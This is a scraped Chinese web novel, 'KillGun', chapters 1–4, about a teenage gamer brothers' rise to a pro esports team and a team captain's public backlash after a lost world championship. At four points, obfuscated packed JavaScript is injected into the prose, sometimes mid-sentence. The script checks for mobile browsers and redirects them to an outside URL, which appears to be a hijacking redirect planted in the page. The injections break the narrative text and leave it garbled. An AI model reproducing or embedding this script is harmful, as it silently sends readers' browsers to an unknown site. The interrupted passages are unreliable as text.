《KillGun[电竞]》 1. 第 1 章 今年的夏天格外热。 头顶上的吊扇吱呀吱呀地转,除开起到一个噪音作用,风全顺着窗外边儿溜走了,顾听手中笔不停,在草稿纸上晕染黑色墨迹,额角浸出汗来。 不想写了。 他刚要撂挑子不干,余光中瞥到他哥轻手轻脚地进门,套上T恤,预备出门的架势,而他写的正是他哥的作业。 “干嘛呢?”顾听头也没抬,冷不丁开口。 “哎我操,”顾越吓了一激灵,走过去长腿勾着顾听的电脑椅,胳膊撑在书桌上曲起指节轻扣,清嗓,“那个,我出去买套做题资料,客厅饭桌有我才切好的水果。” 他又拍了拍顾听的肩,正色说,“辛苦了,老弟。” “不辛苦,命苦,”顾听扯了一声笑,抬头打量他,“作业都不想做的人主动去买题?” 被弟弟无情阴阳,顾越没有放心上,一本正经地扯淡,“怎么回事啊,不相信你哥?好歹也是当过年级第一——的兄弟,这种觉悟还是有的。” 窗外蝉鸣声不停,顾听故意说,“下午这么热,要不傍晚再去书店。” “哎不行不行,”顾越立即否定,看了眼手表火急火燎地往外走,“没时间了,宋星辞还在环西路等我呢,我先走了啊拜拜!” 家门打开又关上,卧室恢复吊扇和蝉鸣混合的声音。 顾听站起身,伸长脖子往窗外瞅,只见顾越跑出单元楼楼梯间,带起的风吹鼓少年的白色T恤。 这几天顾越都会在这个时候出门,原因无他,KG赛季临近尾声,他要在赛季更新前将自己积分稳定排名第一。 KG,全称KillGun,又名“杀死枪”,目前全球枪战竞技类唯一爆款的端游,游戏分为两队,掠夺队与防卫队,其中一共有突破、协防、反侵、狙击、爆破五个位置,各类位置对应的英雄角色不一样,两方基地都会分配一把枪,防卫队基地GROZA,掠夺队基地AUG,两方若是先一步将其夺取或防守,那么游戏结束。 刺激的枪击体验、跑图收获装备、极难的上手操作,激发无数人前来挑战这款游戏的心,为此这款游戏的商业价值体系成熟、所成立的电竞战队遍布全球,但华人战队每年登顶冠军舞台的少之又少,近乎没有。 家里有台旧电脑,是大学毕业的表哥送给他们的,之前才接触KG时,顾越天天玩儿,顾听在一旁看着,逐渐来了兴趣,兄弟俩就这样你来我往。 后来父母为了防止他俩沉迷于游戏,明令禁止只准上网查资料学习,将电脑安装在了书房里,有特定的钥匙。 顾越不知道钥匙被老妈藏在哪儿,但顾听知道,他本想告诉他哥,可顾越玩过一次宋星辞家的电脑后果断地抛弃了表哥这台旧电脑。 顾听等时间差不多了,趿拉拖鞋来到书房门前,慢条斯理地蹲下身掀起脚垫。 赫然一枚钥匙。 这会儿刚刚两点,老妈单位人员,六点才下班,老爸公交车司机,要晚上八点。 虽然旧电脑用的时间久了些,还重装了一次系统,打KG稍微有些卡顿,但对顾听来说不影响。 顾听戴上耳机,登录账号进入游戏界面。 排行榜上有各区战队选手的排名以及常规赛的直播场次,而赛事榜旁边还有一个榜,叫做巅峰榜,里面汇聚了素人、主播、或者是代打的号,但其中有两个号的巅峰积分和职业选手持平,排名第一第二id名为Cross和Listen的积分相差不大,已经霸榜了三个赛季。 这俩号坐落在显眼的位置,想让人不注意都难,普通游戏玩家打入KG巅峰榜尚且要几分实力,更别说能打上和赛事榜中的职业选手同等积分的。坐标一些人气游戏主播扒过两个账号,以为是买的挂号,最终结论得出来就是素人玩家。 谁也不会想到,账号的背后一个才14岁,一个才15岁,是亲兄弟。 同一时刻,Cross账号上线,立即向他弹出消息小窗。 Cross:???你作业写完了? Listen:买题买到游戏里来了? Cross:囧......宋星辞偏要拉我上号。 Listen:呵呵。 再发出去顾越已经在匹配中。 系统提示选出对应位置的人物角色,顾听万年不变地锁定安雅,职位突破手,是队伍中最核心的存在。 这个位置就像它的名字一样,一般为枪感较好的步枪手担任,它在5名队员中扮演的角色是破点,如同一把利剑,队员无从选择时,为队友打开一个突破口,让队伍能够顺利的攻占包点,具有较强的领袖意识。 安雅也是KG中公认最难上手的人物角色,其他角色只需要四个键位,而她则需要五个键位。 顾听匹配的这队为掠夺队,当两方显示PK时,他看见防卫队对面突破手id为Cross,系统默认将巅峰最强分在了同一场,但不同队,害怕将人心态打崩。 队里有人开麦:我操什么情况,巅一和巅二各带一个队。 [掠夺队-爆破手]:我全程听Listen指挥,Listen叫我将雷埋在哪里我就埋在哪里【星星眼】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507002|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >[掠夺队-反侵者]:我队有舔狗。 [掠夺队-协防者]:我甘愿当舔狗【害羞】 顾听不语,只是一味地在地图上标点物资。他打游戏从没开过麦,尚未发育的嗓子稚嫩青涩,恐会喷他小学生,叫他把号给父母。 他和他哥对立面不知多少回了,但哥终究是哥,积分总会比他高出几分,下午这几个小时的场他俩都是稳排名的,你赢一场我赢一场,反方向地带队友上分,最后还是顾越多赢了一局。 顾听打了一下午,累得将头靠在椅背上长舒一口气,心里想着时间还长,总有一天他会超越顾越登顶第一。 老妈也快下班回家了,他起身去关电脑,却发现游戏邮箱里多出来一条未读消息。 “所以说你也收到了?”晚上洗漱后,顾越在上床探出脑袋问。 “嗯。”顾听穿着背心短裤,两条腿又细又长,趴着借床头灯看书。 “会不会是假的啊?”顾越啧了声。 “我上网查了,那的确是WKE官方发的邮件,”顾听说,“KG的春季赛你看了么?” “我当然看了,WKE在梦游吧,打得那么差,”顾越说起这个就气不打一处来,“亏我还押了他的注,这下又赔进去20块钱。” “嗯,那去吗?”顾听问。 “能进战队打比赛谁不想去?关键是得看咱爸妈同不同意,”顾越说,“我的目标可是世界冠军。” 世界冠军?顾听从书本中抬眼,觉得这词儿颇有意思。他捞过床头柜搁的笔,拧开笔帽,在书页的空白处写下四个字。 兄弟俩躺在上下床,并不明亮的床头灯暖黄柔和,充斥在卧室的每个角落。 “小听,咱俩去拿个世界冠军看看呢,毕竟他们那些人都说咱俩是天才。” 没开灯的训练室漆黑寂静,只有一台电脑的显示屏泛着微弱的光,CPU风扇发出规律性低鸣。 坐在电竞椅前的青年粉发狼尾垂在肩颈,脸上没什么表情地看着屏幕里的赛事复盘。 快要燃尽的烟夹在修长手指间,卷起来的衣袖在胳膊肘处,露出的鸢尾花文身从小臂一直延伸到瘦削的手腕儿缠绕,在幽蓝的光亮下显得几分栩栩如生。 看完后,他收拾好键盘和鼠标放进自己的外设包里,还有一张旧黄的在东方明珠下的全家福照片。 关闭电脑,他单肩背着包走出训练室锁门,再推门时。 前方是人声鼎沸的世界级电竞赛场,他迎着欢呼,长腿缓步迈了进去,聚焦灯的灯光打在他的队服名字上,SAB-Listen。 2. 第 2 章 KillGun World Championship,简称KWC,全球最顶级的枪战电竞赛事,总决赛时间发布后,国内各直播网站预约人数千万,掀起热潮。 其中小组赛阶段,共进行20场比赛,前八名晋级淘汰赛,角逐冠军归属。今年华国新秀展露头脚格外的多,颇有前浪推后浪的架势,全华班出了两个种子战队飞往柏林争夺四强。 可惜。 SAB在淘汰赛中惜败法国战队,积分排名八强,无缘冠军。 #SAB 输了#词条登顶国内微博热搜,竞粉狂怒。 -这就是你们全华班捧起来的耀祖,耀你爹的祖呢。 -法国你们都打不过,SAB这一年光顾着接商务没时间训练吗? -别他妈叫SAB了,去A叫SB吧! -还有,为什么比赛完才官宣替补接任队长位置,今晚全程梦游的就是Listen,管理层滚出来给粉丝一个交待! -往年世界冠军拿到手软,那个顾听上场之后直接给老子止步八强,连UNP的积分都能超过SAB,我操这落差谁受得了? 紧接着,与#SAB 输了#同位的另一个词条,是被竞粉喷上热搜的SAB现任队长顾听,#Listen SAB队长#的实时广场已经惨不忍睹,更别说混电竞区的贴吧水友,路人点进去都会被踹上一脚,怨气能造化十个邪剑仙。 国内血雨腥风,国外......风平浪静。 SAB一众选手正坐在赛事台上坦然接受各方媒体的赛后采访。 当话筒移到最左边的粉发青年时,媒体提问的话术都多了起来,仿佛就憋着等这一刻。由于被问得比较长,镜头停留在青年脸上的时间也久了些,投放到各国的直播平台能清晰地看见他的五官。 先开始的问题合理正常,指出比赛中操作所存在的失误和状态,然后有记者当起了出头鸟—— “Listen,SAB作为十来年的传奇战队,历届队长都是被认可的神一样的天才,而好像,你只参加了这一次比赛,并且还带领队伍中断连胜荣誉,你觉得你合适么?” “所以面对SAB这么多年的功绩,现在你接手队长这个位置,你烫手么?” 就差把你配吗三字儿挂在脑门上了。 面对夹枪带棒的采访,顾听长睫微敛,浅淡的粉发狼尾垂在肩颈,他修长的手指漫不经心转动硬币,一圈后,硬币平稳落桌,带出的声响格外刺耳。 顾听缓缓地开口,“功成不必在我。” 有人蔑笑。 他抬眼,浅笑挂在嘴边,嗓音温柔却掷地有声,“但功成,必定有我。” 媒体顿住,没料到青年会如此淡定沉着,再想提问时赛事方提醒时间有限,可以结束采访了。 休息室内,KG位置爆破手魏寻也突然在收拾东西的动静中发出大叫,“队长,答应我,千万不要打开微博好吗?” 好一会儿,顾听才慢吞回道,“行吧。” 虽然他们知道会被无差别喷成筛子,但火力基本集中在顾听身上,赛后的那段采访无疑是火上浇油。 “哎队长,你刚面对媒体说的那句话酷毙了!”队内协防者陈述有意造就气氛,“是怎么想到的?” “我也不知道,”顾听沉吟,“脑袋里突然就闪过这句话。” “酷的代价是被骂得更惨。”对内反侵者樊宇卿冷不丁来了句。 “啧。”对内狙击手彭于渺对他直白的情商感到无语。 正聊着,领队老韩走过来轻拍顾听的肩,“小听,和我出来一下。” 顾听放下手中东西,跟着老韩走了出去。 他俩来到体育中心的露天台,柏林与北京时间相差了六七个小时,比完赛已经晚上七点了,国内那边为第二天的凌晨一点,但知晓KWC比赛结果根本没有丝毫睡意,还处于亢奋的“战斗”中。 老韩语重心长,“这段时间别看网络,输了比赛没什么,不要给自己太大压力了,回国之后好好调整状态。你现在是队长,是一队的主心骨,你崩盘他们也会崩.....辛苦你了小听。” “好的韩队。”顾听点了点头。 老韩不放心地看着他。 那双浅棕色眸子清澈干净,眉眼柔和,有一种宁静如水的平稳,说是队长,其实也才十九岁而已。他叹了口气道,“难受的话可以向我说,不要憋着。” “我没难过呀韩队,”顾听说话慢慢的,眸子弯着,嘴角有一个梨涡坑,给他温顺气质增添了生动活泼的味道,“你别担心。” 老韩又安慰了他几句,柏林冬天的风拂面带着刺骨的冷,叫他进去时他说想透会儿气。 顾听拢了拢队服外套的衣领,将拉链拉到底。顾越在他旁边问,“吹冷风,想感冒啊你。” “哪那么脆弱。”顾听叼住拉链,含糊地说。 “哎,其实第五局在塞壬小镇的时候,你应该和魏寻也配合在海盗船干掉对面的反侵者,法国那队太阴了,反侵者玩得跟鬣狗一样,尽包抄你们后方你发现没?”顾越双手搭在栏杆,侧头看着顾听说,“第一次当队长不习惯吧,自己下指令觉得跟使唤人似的,以至于这场比赛你们五个技术有,可配合却不太融入。” “非常不习惯,”顾听轻微撅嘴,又放下来恢复平直的唇线,“干嘛要让我当队长。” “因为你很强啊,小听,”顾越薅了把他粉色狼尾,“放眼SAB,没人能比你更强了。” “但是哥,我带队打输了,”顾听摊开双手把脸埋进去,像土拨鼠洗脸地搓了搓,“丢死人了.....” “哪丢人了!谁敢说我弟丢人,就是我越家军的敌人!”顾越激昂地说,抬手捏着他的肩,放轻声,“这次就当冠军送给他们了,下次再拿回来嘛。” 揣在兜里的手机铃响,顾听垂睫看见来电眉梢上挑,滑动接听键非常有先见之明地把手机拿远了些。 宋星辞噼里啪啦的声音传进来,“不准看微博!不准冲浪!输了就输了!没什么大不了的!听到没?!” 对于发小硬核地安慰,顾听心里甚是感动,“听到了听到了,两只耳朵都听到了。” “嗯,鉴定完毕,不低迷不消沉,不愧是情绪稳定的卡皮巴拉。”宋星辞心里落下一块石头,说话嗓音都轻快了些。 “不是卡皮巴拉。”顾听严肃地纠正他。 “我还不知道你的性格?你粉丝给你取的外号形容很到位,别犟,”宋星辞说着嗓音突然严肃正义起来,跟说美声似的,“尔等反黑事件交予吾,吾辈义不容辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507003|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “怎么又进修到古风小生了。”顾听乐得不行。 宋星辞打了个呵欠,“我冲浪达人呢。听到你没事儿我就放心了,睡觉去了啊,困死小爷了。” “星辞,”顾听趁他挂电话前用尽最快语速说,“你也不要去跟他们吵,现在都在气头上,等冷静后就好了。” 顾听的提醒是有根据的。他被黑粉骂从来都不会喷回去,一是嘴巴比较笨,二是语速慢,就只讲道理,可哪家黑粉会听他讲道理?粉丝怜爱他,与他慢性子形成反差,战斗力超强。 听粉经典出圈名言:他就是一只卡皮巴拉他有什么错! 宋星辞有个小号,专门加入听粉反黑站反黑,有一次怒喷黑粉惨遭开盒,听粉反而还做了挂条不限圈抽奖为他站队。 “我懂,”宋星辞语气突然正经,“距离下次KWC还有一年的时间,意味着这一年的压力你要扛,还要扛得明明白白。” SAB的三冠,在顾听这儿断送,竞粉很难不愤怒,尤其是前面天才电竞大神铺垫了无限荣光,这一下从山峰掉到山底,相当于把脸伸过去主动让别人扇,还扇得特别侮辱。 “没关系。”顾听低声说,三个利落的字在他口中落出。 没关系,还有时间。 SAB电子竞技俱乐部KG总部基地位于上海,名下还有其余游戏的分部基地。 选手们甫一回国,俱乐部管理层和教练组几乎泡在了会议室里,青训生和二队该训练还是训练,一队......一队的气氛算不上沉重,就是很安静,顾听身为队长带他们复盘比赛的全过程,每个人的脸上都挂着遗憾的不甘心。 相比之下,管理层的几个老登都快要打起来了。 眼见KWC在即,一队首发突破手位置空缺,等同于失去了领头羊。突破手既吃操作又吃意识,还要任劳任怨在前面开路,打KG电竞里,突破手简直就是物以稀为贵,SAB中只有顾听能担任此位置。 不管三七二十一,赶鸭子就是上架,从替补到首发再担任队长,几乎将锅都让顾听一个人背了。 当初持反对意见的现在疯狂倒油,谁都不觉得谁有错,最后来了句:一切都是为了SAB。 热搜还在持续发酵,第二天,顾听发了一条微博。 @SAB-Listen:对不起,让大家失望了,但我会努力重登巅峰。 短短的一句话,微博词条瞬间大爆,粉粉黑黑言论多得数不清,追主队的竞粉鼓励说期待下次夺冠,喷子十八辈祖宗都骂了出来。 无论如何,SAB的连冠在顾听手中断送,他必须挺身而出直面风口浪尖,不看微博全然不可能,这么多年早已形成了抗压,打电竞这行业,选手们的心理素质异于常人。 后来俱乐部公关部转发顾听微博写出SAB官方道歉信也没平息这场怒火,但好在UNP打完后,矛头从SAB转移到了UNP,全华班唯一的豪门战队。 嗯,唯一。 这次UNP没能夺得冠军奖杯,积分止步四强,少数黑粉还是会喷,大多数表示能理解,毕竟这么多年终于不再是SAB首当其冲了,UNP出手阔绰降热搜位置,顺手将SAB惨不忍睹的广场洗了一些。 一位网友锐评:俩战败队还搁这惺惺相惜上了。 3. 第 3 章 “这一波团战失误的很明显,我掩护魏哥在海盗船埋雷,鱼苗姐在集装箱上架好狙击点,”顾听手里拿着电容笔,按下暂停键,对世界赛进行复盘,边说边圈点,“句号封烟,樊哥断法国战队反侵者的后,或许能改变不一样的战况结局。” “我的,”樊宇卿主动举手,“这波在我,前期我捡到的资源太少,枪里已经没有子弹了,恰好地图刷新在海盗船A小道的鱼箱里,就那一秒,对方支援速度太快了。” 彭于渺看了他一眼,抿唇想开口说什么,但欲言又止。 “你们还有什么问题吗?”顾听问。 “最大的问题就是这场我们没有默契的配合。”陈述,也就是句号,挠了挠头说。他队里年龄最小,今年刚满十八,正是包不住话的年纪。 说完,空气诡异的安静,他立即反应过来,倏地捂住嘴瞪大眼睛看着顾听摇摇头。 “孩子实诚,直肠子。”魏寻也打哈哈地活跃气氛。 一队除开顾听,他们四个已经在一起打了两年的比赛,陈述十六岁就被担任协防者首发,五年,顾听作为SAB一队的替补与他们上场的次数两只手都数得过来。 如今国内KG大大小小的职业战队一共二十来支,人人都听说过Listen的名字,除开Cross,就只有他的号积分稳榜亚服赛事区第一,国际服赛事区第二,实属让其他战队眼馋,毕竟努力者众多,可天赋者如同稀有动物。 于是主动朝顾听抛出橄榄枝,但都被他给拒绝了。 嘲点又来了,KG贴吧里的热门标题:SAB替补Listen拒绝其他战队邀请,究竟是清高还是钱给的太少? 楼层抡了将近千条。 “唔,说得对,的确不太有默契,”顾听对陈述莞尔,表示他没在意,认真轻言说,“那么后面的时间,慢慢来配合默契吧。” 比赛打输了,日子还是得照常过,比如顾听不得不面对的——直播。 签约直播是合同里的必要项,一方面是提高知名度,能积累粉丝,一方面有额外的收入来源。顾听先开始才直播就因为颜值在游戏技术区有些格格不入,也是在这里开始积攒了粉丝和人气,女粉既是他颜粉也是技术粉,男粉纯纯技术粉,他由腼腆的不敢直视镜头到现在能大方和粉丝互动。 前段时间比赛他忙于训练没有补直播时长,这会儿颇有新账老账一起算的错觉。 果然一开播,热度飙升游戏区实时第一,弹幕霸屏。 【谁懂,看见这头粉毛我将原谅全世界】 【能解释一下SAB三连冠在你手中断了的事情吗?我们知道你实力在那儿,可为什么连法国没有打过,真的很不理解】 【真服了粉丝穷极舔狗啊这么溺爱】 【滚出SAB!从队长位置上滚下来!】 【管理层不做人关小卡什么事?要喷也讲事实好吧?你们就说除开Cross还有谁能打SAB突破手的位置,这么多年小卡对SAB已经够仁至义尽了】 【姐妹点了,这群大厦避风了,只知道比赛输了却不看为什么输,这种事情发生在他们身上又不乐意了】 喷子的辱骂和粉丝的安慰质疑交叉着在屏幕上滑动,可不堪入目的语言太多,管理员都封禁不过来。 现在还处于舆论热潮当中,顾听开直播也被顶上了热搜,营销号见风使舵将他在柏林赛后采访的那一段放到了网上,又是一轮审判。 顾听戴上耳机,恰好瞥见喷他的几条弹幕,骂得挺脏的,他直接无视,甚至脸上都没太大的表情起伏,看起来就很平常的样子,慢吞吞地对镜头打招呼,“大家晚上好。” 【笑死我了,我几乎都看不见粉丝控评他居然平静地来了句晚上好】 【“大家晚上好”,这是将喷子也包含进去了吗】 【晚***】 【小卡你一直以来都做的特别好!新的一年加油!我们相信一定会有好结果的!】 【SAB要你何用?还我们连胜冠军!】 【用户688送出跑车X10】 【用户688送出至尊嘉年华X20】 【用户688送出水晶王冠X50】 金钱这玩意儿是无敌的,豪横的用户688直接上线给顾听狂砸五十多万,炫酷的礼物特效霸占屏幕,不管是粉丝还是喷子的弹幕瞬间被湮没。 顾听惊讶的身子往后弹了一下,等礼物特效过了才用鼠标点进KG的游戏标识,粉色碎发下的眉眼弯弯,“谢谢用户688送的礼物,谢谢呀。” 这位用户688看他直播很久了,久到顾听都眼熟了他的id,每场直播下来他的榜一位置从来没有掉下过。 喷子沉默,粉丝开始刷屏。 【不愧是我688哥】 【不愧是我688哥】 【688哥这一块儿,权威!】 【+1】 超级贵族有专属弹幕通道,能显眼地挂在直播间的横幅位置缓缓飘过。 【用户688:不客气,今晚教技术么?】 顾听没急着排位,而是进仓库里给安雅换了套新衣裳,在枪该配什么皮肤颜色纠结中抽空回,“教的。” 这套新皮是在他打比赛前上新的,官方送给他后一直没来得及换。KG的每个位置对应的角色有故事背景和人物属性,玩家氪金大头就在于官方给角色出的皮肤上。 顾听从玩儿KG起,突破手的所有角色位置早已熟悉贯通,可年少时想挑战难度所以上手选择五键位的安雅,心中初心很难再变了。 屏幕里,姑娘粉色高马尾眼戴护目镜,手举突击步枪火麒麟比着pose挂在他的大号主页,看上去是英姿飒爽的酷姐。 -安妮,我想,总有一天我会走向光明。 这是安雅游戏局内的台词,每隔一分钟就会触发一句,都不相同,顾听把装备给她全部配好后,开了小号的单人排位。 【爱漂亮的小卡,喜欢打扮自己也喜欢打扮安雅】 【一上来就给安雅换衣裳呀,此人有点萌】 【感觉安雅的建模被官方调整了一下,五官更精致了是我的错觉吗】 【小卡把画质调高了姐妹】 【突破手有三个角色都有FMVP皮肤,听粉吹的顾听KG亚服第一突破手但一个FMVP都没有,什么原因好难猜啊】 【用户688送出豪华游艇X ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507004|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 30】 【用户688送出红宝石王冠X15】 【688哥一言不合就是砸】 “哈库呐玛好像更新了地图规模,今天我们玩一下吧——谢谢688哥。”匹配成功,顾听说完便目视显示屏,他们这队掠夺队,对面防卫队。 哈库呐玛,KG七张地图之一的沙漠图,一般供打狙的玩家练手。他小号没用安雅,是一位红色莫西干发型的男性角色戴夫,小号开局,队友就非常有自己思维的各走各的。 防卫队基地里枪的位置在迷城,中间会途径多处资源地点,除开开局装备需要自己在仓库佩戴,剩下的资源全靠自己搜取。 而队伍中的五个人,要警惕对面爆破手的埋雷,协防者的医疗与侦查,反侵者的绕后抢断,狙击手的控点,以上对于自队同理。 顾听修长的手指按动键盘操控戴夫跃入房区搜索资源,讲解说,“戴夫自带闪光技能,所以我们可以少捡一点震爆弹,为后面的资源腾出背包空间,打突破要确保弹量充足,像这种762——” 耳机里传来炸弹“嘭”的一声巨响,右侧显示队内爆破手成功炸死队内协防者,下一秒,协防者打字怒骂:你特么会不会埋雷啊!?埋的是屎吗? [掠夺队-爆破手:666自己没意识走位怪雷?] [掠夺队-协防者:电工厂才刷新资源,你当对面是傻子吗把雷埋在这儿?] 就在他俩还在打字争辩之间,突破手已在矿山成功击杀防卫队-狙击手、防卫队-反侵者,并标记了一处埋雷地点。 爆破手操控角色跑到标记点,将雷埋在矿山的土坡上。这个位置极其隐蔽,但凡路过这儿就会被雷炸死,堪称及其刁钻的手法,也很恶心,这还是顾听在魏寻也那儿学到的。 这一举动让队友立即反应过来,队内突破是高手。 KG的段位一共八段,青铜、白银、黄金、铂金、星钻、皇冠,王牌,巅峰,顾听的小号正处于中分段位的星钻。什么段位匹配到什么位置,中低分段的人很容易信任一个稍微有点操作的大神,俗称抱大腿上分。 顾听刚刚已经成功诱惑到了四个队友,现在在他们眼中,他无疑于猫薄荷。 [掠夺队-狙击手:加油站里有两个人。] [掠夺队-突破手:我上,你们就待在原地不要动QvQ] [掠夺队-反侵者:是萌妹子吗?] [掠夺队-协防者:这样我可就精神了啊。] 顾听撩了撩卫衣袖子打算大干一场,当小臂上的鸢尾花文身露在镜头里时,他惊觉直播间会提醒违规,又连忙放下来,左手熟练且快速地在键盘上操作,从装备中掏出防弹衣和三级头穿戴好。 就这一闪而过的文身画面,弹幕又开始热刷,不过顾听顾不得看了,连操作讲解也忘了说,操控戴夫扔出两颗震爆弹,随即右手鼠标往侧边一划,机枪扫射击杀掉对方两个人。 搁在桌上的手机微信提示音一条接着一条地响动,打完这波他为队友开了条破口,在间隙里拿起来飞快扫了一眼。 是魏寻也,好几张截图下面带了句话。 猛踹瘸子那条好腿:队长,你的死忠真的好强! 4. 第 4 章 有多强? 在微博热搜#Listen#的实时词条下,魏寻也给他发过来的图片全是一个人的id,默认微博原始乱码账号,没有头像不知道是男是女,把广场上喷他的黑粉喷了个遍,战斗力以一敌百。 不止广场,连他发的个人道歉微博评论底下也有乱码的身影。 顾听这几天确实没关注网络上的风向,发了那条道歉博后,他就退出了账号,魏寻也截的屏还特意将骂他的言论给打码了。 暖暖的,很贴心。 顾听超小声地哇了声,迅速回了魏寻也一个卡皮巴拉吃惊的表情包,抬头将视线重新投入到游戏里。 “不好意思,刚刚......”他脑海里闪过乱码不带脏字儿的喷人语录,还是有些感慨和唏嘘,“回复了一下消息。” 弹幕纷纷打道没关系,不过就这一下还是引起了狙击他直播的喷子不满意,有几位被管理员封禁的账号秽土转生揪着这点狂骂,质问他游戏还没结束凭什么分神玩手机。 但凡有喷子骂,688哥会直接砸礼物把黑评刷上去,可喷子颇有对顾听爱之深恨之切的态度,没688哥砸的那么多却让自己评论能成为vip飘浮在显眼的位置。 顾听长睫上掀,终于看见了喷子喷他的话。 “额,”他顿了顿,“这位id叫AAA建材批发王哥的网友不要充钱喷我了。” 【AAA建材批发王哥:我充钱我乐意,我就喷你怎么了?】 顾听郁闷的表情,“行吧,那喷几条就可以了,浪费钱。” 【AAA建材批发王哥:我要一直喷你!】 顾听抿了抿唇,“行吧。” 这下轮到王哥丈二和尚摸不着头脑了,居然几分钟都没再发表言论。 【哈哈哈哈哈哈哈哈,行吧,小卡是真没招了,可王哥也没招了】 【喷子可以去了解一下我们为什么会喊他小卡,因为他就是一只情绪稳定的卡皮巴拉呀!】 【你们喷吧,一句行吧抵挡所有】 【行吧】 【行吧】 【行吧】 直播了两小时,把把顺利上分,最后快要结束时顾听拉近电竞椅,目不转睛地盯着显示屏,想挑粉丝的评论回复。 这个角度挺考验颜值,并且镜头会直面放大脸上的瑕疵。顾听能吸引到粉有很大一部分原因是因为脸,其次是技术,再加上性格锦上添花,让他一个SAB的替补热度不低当前现役队员。 当然,还有曾经的那句话——KG联盟双子星。 粉发需要一个顶级建模才能完美驾驭,他皮肤白,脸小,一双桃花眼微微上挑,像闯入三次元的动漫人物,此刻镜头全是他那张无可挑剔的五官,就连睫毛有几根都能数清楚。 “功成不必在我,但功成必定有我这话上热搜了,他们骂我BKing?”顾听重复弹幕评论,思考了半天,粉丝以为他终于能憋个大招了,结果依旧回道,“骂吧。” “怎么想出来的我也忘了,好像在哪儿看到过这句话,潜意识地就记了下来,我觉得......”顾听看到对面坐着的顾越,他哥没个正行,吊儿郎当地把长腿驾到电脑桌上。 顾越抱着手朝他努嘴,示意他说下去。 “我觉得写的很好,我能做到。”顾听笑了笑,嘴角有个梨涡坑。 【小卡,我们相信你!】 【多多打比赛,明年的常规赛和春季赛我们不见不散!】 【期待你的下一个里程碑!攻成必定有Listen[加油]】 【用户688送出至尊嘉年华X100】 【用户688送出梦幻城堡X20】 临近下播,688又开始不停地狂砸礼物,顾听被璀璨缭乱的特效闪地眯了眯眼,道谢之后立即关掉直播。 他点进后台一看,688哥砸了差不多一百多万。 “我操,这榜一好有钱,”顾越弯腰,和顾听凑近了看电脑,发出惊叹,“大哥是你的狂热粉丝啊。” “的确好有钱。”顾听再迟钝也能看出来今晚688哥是为了把恶评全部刷上去湮没,先前688哥砸礼物,顾听还以为是未成年拿走父母的手机,后来直播平台调出来此人的资料是已经成年了的,不过刚刚十八岁。 顾听就当哪家少爷是KG迷。 “哎,他给你发私信了。”顾越手指着私信那一栏的未读消息。 用钱砸出来的特权很多,顾听后台私信将近万条,置顶几栏的消息框是平台根据贵族等级默认设上去的,688哥的位置就处于第一位。 “小听,你好高冷,怎么一条也不回人家。”顾越乐了。 翻了翻,几乎全是688哥的独角戏,内容也不是聊骚的消息,还挺正经的,无非是鼓励顾听打比赛的安慰话语。 但细数688哥从昨年到今年,私信仅仅只有八条,可顾听不回就显得视角很空旷。 “没什么可回的呀,”顾听眨眨眼,“要回都回,不回都不回。” “哟,公平战士啊你,”顾越揉了揉他的粉毛,“晚上吃饭没?” “还没。”顾听瞥见电脑右下角的时间,已经十一点了。 正说着,宋星辞给他闪了微信通话过来。 “看你才下播,我给你点了小龙虾,快去保安室拿一下!” “哇,爱你星辞,我现在好饿。”顾听关掉电脑开门,映入眼帘的是魏寻左腿戴的义肢,他才认识魏寻也时便觉得他义肢特别酷,很像科幻片里的赛博朋克。 后来经了解,他打心眼里佩服这位断腿的青年。 “鱼苗还在播,她妈妈给她寄过来的脐橙,叫我给你拿些过来。”魏寻也见他在打电话,压低声音说。 顾听接过袋子,“好的魏哥,帮我谢谢鱼苗姐。” 魏寻也笑着点点头,不多打扰他转身走了,那条义肢被他走出就是健全腿的感觉。 “拿了就享用爱的小龙虾吧,我先挂了啊。”宋星辞雷厉风行地挂掉电话。 他这个发小读大二,当初志愿填报的上海,两人离得挺近可鲜少见面。顾听忙着训练打比赛,他忙着学业,偶尔得空才会在一起吃顿饭。 这么晚了,基地请的阿姨早就休息了,领队所规定的时间有门禁不说,为了选手的健康,饮食基本都是按照菜单来做的营养餐,所以也不让他们点外卖。当然实在馋了,领队也会睁一只眼闭一只眼,只要不过于频繁就行。 阿姨担心他们直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 